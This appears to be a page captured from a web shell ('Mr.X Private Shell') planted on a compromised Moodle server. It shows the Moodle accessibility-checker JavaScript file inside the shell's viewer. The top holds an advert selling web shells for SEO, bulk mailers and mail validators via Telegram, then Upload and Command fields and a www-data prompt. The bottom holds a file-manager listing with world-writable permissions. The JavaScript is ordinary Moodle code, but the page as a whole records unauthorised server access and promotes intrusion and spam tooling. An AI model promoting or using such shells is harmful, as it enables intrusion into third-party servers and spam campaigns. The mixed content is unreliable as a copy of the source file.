__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.216.10: ~ $
// This file is part of Moodle - http://moodle.org/
//
// Moodle is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// Moodle is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with Moodle.  If not, see <http://www.gnu.org/licenses/>.

/*
 * @package    tiny_accessibilitychecker
 * @copyright  2022, Stevani Andolo  <stevani@hotmail.com.au>
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 */

import Templates from 'core/templates';
import {getString, getStrings} from 'core/str';
import {component} from './common';
import Modal from 'core/modal';
import * as ModalEvents from 'core/modal_events';
import ColorBase from './colorbase';
import {getPlaceholderSelectors} from 'editor_tiny/options';

/**
 * @typedef ProblemDetail
 * @type {object}
 * @param {string} description The description of the problem
 * @param {ProblemNode[]} problemNodes The list of affected nodes
 */

/**
 * @typedef ProblemNode
 * @type {object}
 * @param {string} nodeName The node name for the affected node
 * @param {string} nodeIndex The indexd of the node
 * @param {string} text A description of the issue
 * @param {string} src The source of the image
 */

export default class {

    constructor(editor) {
        this.editor = editor;
        this.colorBase = new ColorBase();
        this.modal = null;
        this.placeholderSelectors = null;
        const placeholders = getPlaceholderSelectors(this.editor);
        if (placeholders.length) {
            this.placeholderSelectors = placeholders.join(', ');
        }
    }

    destroy() {
        delete this.editor;
        delete this.colorBase;

        this.modal.destroy();
        delete this.modal;
    }

    async displayDialogue() {
        this.modal = await Modal.create({
            large: true,
            title: getString('pluginname', component),
            body: this.getDialogueContent(),
            show: true,
        });

        // Destroy the class when hiding the modal.
        this.modal.getRoot().on(ModalEvents.hidden, () => this.destroy());

        this.modal.getRoot()[0].addEventListener('click', (event) => {
            const faultLink = event.target.closest('[data-action="highlightfault"]');
            if (!faultLink) {
                return;
            }

            event.preventDefault();

            const nodeName = faultLink.dataset.nodeName;
            let selectedNode = null;
            if (nodeName) {
                if (nodeName.includes(',') || nodeName === 'body') {
                    selectedNode = this.editor.dom.select('body')[0];
                } else {
                    const nodeIndex = faultLink.dataset.nodeIndex ?? 0;
                    selectedNode = this.editor.dom.select(nodeName)[nodeIndex];
                }
            }

            if (selectedNode && selectedNode.nodeName.toUpperCase() !== 'BODY') {
                this.selectAndScroll(selectedNode);
            }

            this.modal.hide();
        });
    }

    async getAllWarningStrings() {
        const keys = [
            'emptytext',
            'entiredocument',
            'imagesmissingalt',
            'needsmorecontrast',
            'needsmoreheadings',
            'tablesmissingcaption',
            'tablesmissingheaders',
            'tableswithmergedcells',
        ];

        const stringValues = await getStrings(keys.map((key) => ({key, component})));
        return new Map(keys.map((key, index) => ([key, stringValues[index]])));
    }

    /**
     * Return the dialogue content.
     *
     * @return {Promise<Array>} A template promise containing the rendered dialogue content.
     */
     async getDialogueContent() {
        const langStrings = await this.getAllWarningStrings();

        // Translate langstrings into real strings.
        const warnings = this.getWarnings().map((warning) => {
            if (warning.description) {
                if (warning.description.type === 'langstring') {
                    warning.description = langStrings.get(warning.description.value);
                } else {
                    warning.description = warning.description.value;
                }
            }

            warning.nodeData = warning.nodeData.map((problemNode) => {
                if (problemNode.text) {
                    if (problemNode.text.type === 'langstring') {
                        problemNode.text = langStrings.get(problemNode.text.value);
                    } else {
                        problemNode.text = problemNode.text.value;
                    }
                }

                return problemNode;
            });

            return warning;
        });

        return Templates.render('tiny_accessibilitychecker/warning_content', {
            warnings
        });
    }

    /**
     * Set the selection and scroll to the selected element.
     *
     * @param {node} node
     */
    selectAndScroll(node) {
        this.editor.selection.select(node).scrollIntoView({
            behavior: 'smooth',
            block: 'nearest'
        });
    }

    /**
     * Find all problems with the content editable region.
     *
     * @return {ProblemDetail[]} A complete list of all warnings and problems.
     */
    getWarnings() {
        const warnings = [];

        // Check Images with no alt text or dodgy alt text.
        warnings.push(this.createWarnings('imagesmissingalt', this.checkImage(), true));
        warnings.push(this.createWarnings('needsmorecontrast', this.checkOtherElements(), false));

        // Check for no headings.
        if (this.editor.getContent({format: 'text'}).length > 1000 && this.editor.dom.select('h3,h4,h5').length < 1) {
            warnings.push(this.createWarnings('needsmoreheadings', [this.editor], false));
        }

        // Check for tables with no captions.
        warnings.push(this.createWarnings('tablesmissingcaption', this.checkTableCaption(), false));

        // Check for tables with merged cells.
        warnings.push(this.createWarnings('tableswithmergedcells', this.checkTableMergedCells(), false));

        // Check for tables with no row/col headers.
        warnings.push(this.createWarnings('tablesmissingheaders', this.checkTableHeaders(), false));

        return warnings.filter((warning) => warning.nodeData.length > 0);
    }

    /**
     * Generate the data that describes the issues found.
     *
     * @param {String} description Description of this failure.
     * @param {HTMLElement[]} nodes An array of failing nodes.
     * @param {boolean} isImageType Whether the warnings are related to image type checks
     * @return {ProblemDetail[]} A set of problem details
     */
    createWarnings(description, nodes, isImageType) {
        const getTextValue = (node) => {
            if (node === this.editor) {
                return {
                    type: 'langstring',
                    value: 'entiredocument',
                };
            }

            const emptyStringValue = {
                type: 'langstring',
                value: 'emptytext',
            };
            if ('innerText' in node) {
                const value = node.innerText.trim();
                return value.length ? {type: 'raw', value} : emptyStringValue;
            } else if ('textContent' in node) {
                const value = node.textContent.trim();
                return value.length ? {type: 'raw', value} : emptyStringValue;
            }

            return {type: 'raw', value: node.nodeName};
        };

        const getEventualNode = (node) => {
            if (node !== this.editor) {
                return node;
            }
            const childNodes = node.dom.select('body')[0].childNodes;
            if (childNodes.length) {
                return document.body;
            } else {
                return childNodes;
            }
        };

        const warning = {
            description: {
                type: 'langstring',
                value: description,
            },
            nodeData: [],
        };

        warning.nodeData = [...nodes].filter((node) => {
            // If the failed node is a placeholder element. We should remove it from the list.
            if (node !== this.editor && this.placeholderSelectors) {
                return node.matches(this.placeholderSelectors) === false;
            }

            return node;
        }).map((node) => {
            const describedNode = getEventualNode(node);

            // Find the index of the node within the type of node.
            // This is used to select the correct node when the user selects it.
            const nodeIndex = this.editor.dom.select(describedNode.nodeName).indexOf(describedNode);
            const warning = {
                src: null,
                text: null,
                nodeName: describedNode.nodeName,
                nodeIndex,
            };

            if (isImageType) {
                warning.src = node.getAttribute('src');
            } else {
                warning.text = getTextValue(node);
            }

            return warning;
        });

        return warning;
    }

    /**
     * Check accessiblity issue only for img type.
     *
     * @return {Node} A complete list of all warnings and problems.
     */
    checkImage() {
        const problemNodes = [];
        this.editor.dom.select('img').forEach((img) => {
            const alt = img.getAttribute('alt');
            if (!alt && img.getAttribute('role') !== 'presentation') {
                problemNodes.push(img);
            }
        });
        return problemNodes;
    }

    /**
     * Look for any table without a caption.
     *
     * @return {Node} A complete list of all warnings and problems.
     */
    checkTableCaption() {
        const problemNodes = [];
        this.editor.dom.select('table').forEach((table) => {
            const caption = table.querySelector('caption');
            if (!caption?.textContent.trim()) {
                problemNodes.push(table);
            }
        });

        return problemNodes;
    }

    /**
     * Check accessiblity issue for not img and table only.
     *
     * @return {Node} A complete list of all warnings and problems.
     * @private
     */
    checkOtherElements() {
        const problemNodes = [];

        const getRatio = (lum1, lum2) => {
            // Algorithm from "http://www.w3.org/TR/WCAG20-GENERAL/G18.html".
            if (lum1 > lum2) {
                return (lum1 + 0.05) / (lum2 + 0.05);
            } else {
                return (lum2 + 0.05) / (lum1 + 0.05);
            }
        };

        this.editor.dom.select('body *')
            .filter((node) => node.hasChildNodes() && node.childNodes[0].nodeValue !== null)
            .forEach((node) => {
                const foreground = this.colorBase.fromArray(
                    this.getComputedBackgroundColor(
                        node,
                        window.getComputedStyle(node, null).getPropertyValue('color')
                    ),
                    this.colorBase.TYPES.RGBA
                );
                const background = this.colorBase.fromArray(
                    this.getComputedBackgroundColor(
                        node
                    ),
                    this.colorBase.TYPES.RGBA
                );

                const lum1 = this.getLuminanceFromCssColor(foreground);
                const lum2 = this.getLuminanceFromCssColor(background);
                const ratio = getRatio(lum1, lum2);

                if (ratio <= 4.5) {
                    window.console.log(`
                        Contrast ratio is too low: ${ratio}
                        Colour 1: ${foreground}
                        Colour 2: ${background}
                        Luminance 1: ${lum1}
                        Luminance 2: ${lum2}
                    `);

                    // We only want the highest node with dodgy contrast reported.
                    if (!problemNodes.find((existingProblemNode) => existingProblemNode.contains(node))) {
                        problemNodes.push(node);
                    }
                }
            });
        return problemNodes;
    }

    /**
     * Check accessiblity issue only for table with merged cells.
     *
     * @return {Node} A complete list of all warnings and problems.
     * @private
     */
    checkTableMergedCells() {
        const problemNodes = [];
        this.editor.dom.select('table').forEach((table) => {
            const rowcolspan = table.querySelectorAll('[colspan], [rowspan]');
            if (rowcolspan.length) {
                problemNodes.push(table);
            }
        });
        return problemNodes;
    }

    /**
     * Check accessiblity issue only for table with no headers.
     *
     * @return {Node} A complete list of all warnings and problems.
     * @private
     */
    checkTableHeaders() {
        const problemNodes = [];

        this.editor.dom.select('table').forEach((table) => {
            if (table.querySelector('tr').querySelector('td')) {
                // The first row has a non-header cell, so all rows must have at least one header.
                const missingHeader = [...table.querySelectorAll('tr')].some((row) => {
                    const header = row.querySelector('th');
                    if (!header) {
                        return true;
                    }

                    if (!header.textContent.trim()) {
                        return true;
                    }

                    return false;
                });
                if (missingHeader) {
                    // At least one row is missing the header, or it is empty.
                    problemNodes.push(table);
                }
            } else {
                // Every header must have some content.
                if ([...table.querySelectorAll('tr th')].some((header) => !header.textContent.trim())) {
                    problemNodes.push(table);
                }
            }
        });
        return problemNodes;
    }

    /**
     * Convert a CSS color to a luminance value.
     *
     * @param {String} colortext The Hex value for the colour
     * @return {Number} The luminance value.
     * @private
     */
    getLuminanceFromCssColor(colortext) {
        if (colortext === 'transparent') {
            colortext = '#ffffff';
        }
        const color = this.colorBase.toArray(this.colorBase.toRGB(colortext));

        // Algorithm from "http://www.w3.org/TR/WCAG20-GENERAL/G18.html".
        const part1 = (a) => {
            a = parseInt(a, 10) / 255.0;
            if (a <= 0.03928) {
                a = a / 12.92;
            } else {
                a = Math.pow(((a + 0.055) / 1.055), 2.4);
            }
            return a;
        };

        const r1 = part1(color[0]);
        const g1 = part1(color[1]);
        const b1 = part1(color[2]);

        return 0.2126 * r1 + 0.7152 * g1 + 0.0722 * b1;
    }

    /**
     * Get the computed RGB converted to full alpha value, considering the node hierarchy.
     *
     * @param {Node} node
     * @param {String} color The initial colour. If not specified, fetches the backgroundColor from the node.
     * @return {Array} Colour in Array form (RGBA)
     * @private
     */
    getComputedBackgroundColor(node, color) {
        if (!node.parentNode) {
            // This is the document node and has no colour.
            // We cannot use window.getComputedStyle on the document.
            // If we got here, then the document has no background colour. Fall back to white.
            return this.colorBase.toArray('rgba(255, 255, 255, 1)');
        }
        color = color ? color : window.getComputedStyle(node, null).getPropertyValue('background-color');

        if (color.toLowerCase() === 'rgba(0, 0, 0, 0)' || color.toLowerCase() === 'transparent') {
            color = 'rgba(1, 1, 1, 0)';
        }

        // Convert the colour to its constituent parts in RGBA format, then fetch the alpha.
        const colorParts = this.colorBase.toArray(color);
        const alpha = colorParts[3];

        if (alpha === 1) {
            // If the alpha of the background is already 1, then the parent background colour does not change anything.
            return colorParts;
        }

        // Fetch the computed background colour of the parent and use it to calculate the RGB of this item.
        const parentColor = this.getComputedBackgroundColor(node.parentNode);
        return [
            // RGB = (alpha * R|G|B) + (1 - alpha * solid parent colour).
            (1 - alpha) * parentColor[0] + alpha * colorParts[0],
            (1 - alpha) * parentColor[1] + alpha * colorParts[1],
            (1 - alpha) * parentColor[2] + alpha * colorParts[2],
            // We always return a colour with full alpha.
            1
        ];
    }
}

Filemanager

Name Type Size Permission Actions
checker.js File 16.93 KB 0777
colorbase.js File 7.63 KB 0777
commands.js File 1.8 KB 0777
common.js File 1.09 KB 0777
configuration.js File 1.22 KB 0777
plugin.js File 1.75 KB 0777
Filemanager